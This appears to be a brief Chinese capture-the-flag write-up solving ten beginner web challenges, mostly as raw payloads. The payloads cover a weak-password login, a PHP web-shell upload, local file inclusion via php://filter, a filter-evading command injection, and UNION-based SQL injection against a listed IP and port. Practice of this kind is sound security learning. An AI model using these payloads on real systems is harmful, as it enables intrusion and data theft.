Web10道签到题

题目1

万能密码

题目2

弱口令 admin 123456登录后台，文件管理上传
<?php system('cat /tmp/flag');?>

题目3

题目4

F12发现include.php
include.php?file=php://filter/read=convert.base64-encode/resource=include.php
查看文件源码，发现upload.php
上传图片马

include.php包含一下

题目5

?rce=ca\t%09/tmp/flag

题目6

查表名
?id=-1 union select 1,2,group_concat(table_name)from(information_schema.tables)where(table_schema=database())

查flag表的列名
?id=-1 union select 1,2,group_concat(column_name)from(information_schema.columns)where(table_schema=database())and(table_name='flag')

查flag
http://122.114.225.41:20126/?id=-1%20union%20select%201,2,(flag)from(flag)